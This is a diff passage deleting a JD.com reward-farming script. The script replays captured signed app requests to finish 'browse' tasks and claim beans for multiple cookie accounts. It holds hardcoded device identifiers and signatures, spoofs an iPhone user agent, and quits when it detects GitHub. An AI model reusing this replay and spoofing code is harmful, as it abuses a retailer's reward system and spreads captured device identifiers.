`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239326056%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c440b5ccd3393566befc3da4a3a32c23&st=1608135874985&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239966731%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4e92a93c2985165670d4bdd8fac62b62&st=1608135889532&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228925366%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=462d9bb4f828f495797d82e6b403789d&st=1608135902900&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241141664%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7283e2c5a24e392c66dc02b1e073f154&st=1608135932827&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239879879%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=2efca2d6ae6971cb924ca2de521548cf&st=1608135954339&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240921105%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=24cff3a417bb95f9360cbae5a90dc2df&st=1608135968677&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239913667%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1f3983c32ad4f6aff614018e06ba0210&st=1608135982853&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228195657%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=cd5639e8f4e8ae35ab8ac9593d71f2ed&st=1608135997381&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232232068%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=5270d376f680afaee053c7d3a760f24c&st=1608136011993&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22231078213%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=103ba8fdc7fcf377e40360a089bbba6d&st=1608136025797&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228889429%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=b57fa95ca54dd0a6104c5aff99efa60e&st=1608136042516&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239891037%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=37907fdd42eb90cdb38b1534b5f82623&st=1608136057117&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239349437%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=de5492702084ea8d64e77b5a05a26508&st=1608135090210&sv=111&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJbL8Z8Ji5qW2Orjpl0%2BzyRPbn4M%2BsWaSKGP0oBktuYYM5pyBaI0RqkeXBgu6TJZdGHo2xvPne18Dzkk1A7m%2BLqBuD2mrzLZjK%2BrWdDdNBD9pQPajs0rQAp%2Bu4eLnMSDTc7xxKGmxZ6YlvLbYtQu1%2B/z4woT25IKqETrcboP4nZzsjKlRbBnlsrQ%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=unknown`, -] - -function preload(){ - const fs = require('fs'); - let raw = fs.readFileSync('watch.chlsj'); - let s = JSON.parse(raw); - s.map(vo=>{ - let doTask = vo.request.header.headers.filter(vo=>vo['name'] === ":path" && vo['value'].indexOf('discDoTask')>0)[0] - if(doTask){ - doBody.push(vo.request.body.text) - }else{ - acceptBody.push(vo.request.body.text) - } - }) -} -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -!(async () => { - if ($.isNode()) { - const fs = require('fs'); - try { - if (fs.existsSync('watch.chlsj')) { - preload() - if (doBody.length < 40) { - console.log(`${$.name}Body数小于40,无法完成任务!`) - } - } - if (process.env.WATCH_ACCEPTBODY && process.env.WATCH_DOBODY) { - acceptBody = process.env.WATCH_ACCEPTBODY.split('@'); - doBody = process.env.WATCH_DOBODY.split('@'); - console.log(`\n环境变量提供的acceptBody数量:${acceptBody.length}`) - console.log(`环境变量提供的doBody:数量${doBody.length}\n`) - } - } catch (err) { - console.error(err) - } - console.log(`\nacceptBody数量:${acceptBody.length}`) - console.log(`doBody:数量${doBody.length}\n`) - } - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdHealth() - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdHealth() { - $.bean = 0 - await getTaskList() - if($.task) { - console.log(`${$.name}浏览次数:${$.task.times}/${$.task.maxTimes}`) - let i = 0, j = $.task.times - while(j < $.task.maxTimes) { - if (!acceptBody[i]) break - let res = await acceptTask(acceptBody[i++]) - if (res['success']) { - await $.wait(10000) - await doTask(doBody[i-1]) - j++ - } - await $.wait(500); - } - await getTaskList() - if ($.task.times===$.task.maxTimes) - await reward() - } -} - -function showMsg() { - return new Promise(async resolve => { - // $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); - let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; - if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { - $.msg($.name, '活动已结束', `咱江湖再见`); - if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) - } else { - $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); - } - resolve() - }) -} -// 任务列表 -function getTaskList() { - let body = "body=%7B%22bizType%22%3A1%2C%22referPageId%22%3A%22discRecommend%22%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=200&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=7ac41799deb4b174516255f911adb612&st=1607942822112&sv=100&uts=0f31TVRjBStSN/KN45aFsqdm3cWx37OzS1DDtk92Jjb1GFDLcR3WqIplv0XA1h/hn4ycbABQbxmY2Z6OJ41XlUNqODg0xhlFxdy9vzwBobHzhtVmCcORklu9W1cB6YcW0kYJNzSsy5ypxaQvGUf1oq/yMw/Hbo5lD3f4srHsrWzrsnKQ4K7HYtCFiZ5kn/AC%2B/tEmJRu9yM5j2nCMqdvmg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D" - return new Promise(resolve => { - $.post(taskPostUrl("discTaskList", body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.busiCode === '0') { - $.task = data['data']['discTasks'][1] - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 开始看 -function acceptTask(body) { - return new Promise(resolve => { - $.post(taskPostUrl("discAcceptTask", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.success){ - // console.log('浏览开始请求成功') - }else{ - // console.log(`${data.message}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 完成看 -function doTask(body) { - return new Promise(resolve => { - $.post(taskPostUrl("discDoTask", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.success){ - console.log(`浏览成功,浏览进度:${data.data.alreadyBrowseNum}/${data.data.totalBrowseNum}`) - }else{ - console.log(`${data.message}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 完成看 -function reward() { - let body = "area=12_904_908_57903&body=%7B%22taskId%22%3A%223%22%2C%22bizType%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=200&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=17715aee2221001db42054582e246b12&st=1608106937687&sv=102&uts=0f31TVRjBSueCA6d1433N/VvOpFVgTQ3ayM3m/f8v%2B5SZcxHDy1W0aeMpwRE60%2B5NCC1QBAEVnTfdyUBY1v5dzjJYNmtBpfPHeEOqjU2lcvvt9i4lMwuL6cFvhiheX1QlG4SCsmZu6Zhj5aCQji0PhIRINWPoPq7tOwraAhYokfkEoI1Vcv3DgT8TKdKMtBfCtTr%2BEIaEPSfItFIJPlqXw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D" - return new Promise(resolve => { - $.post(taskPostUrl("discReceiveTaskAward", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.success){ - console.log(`领奖成功,${$.task.taskSubTitleExt}`) - message += `京东看一看:${$.task.taskSubTitleExt}`; - await showMsg(); - }else{ - console.log(`领奖失败,${data.message}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function taskPostUrl(function_id, body = {}) { - $.log(`${function_id}`) - return { - url: `${JD_API_HOST}?functionId=${function_id}`, - body: body, - headers: { - "Cookie": cookie, - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return 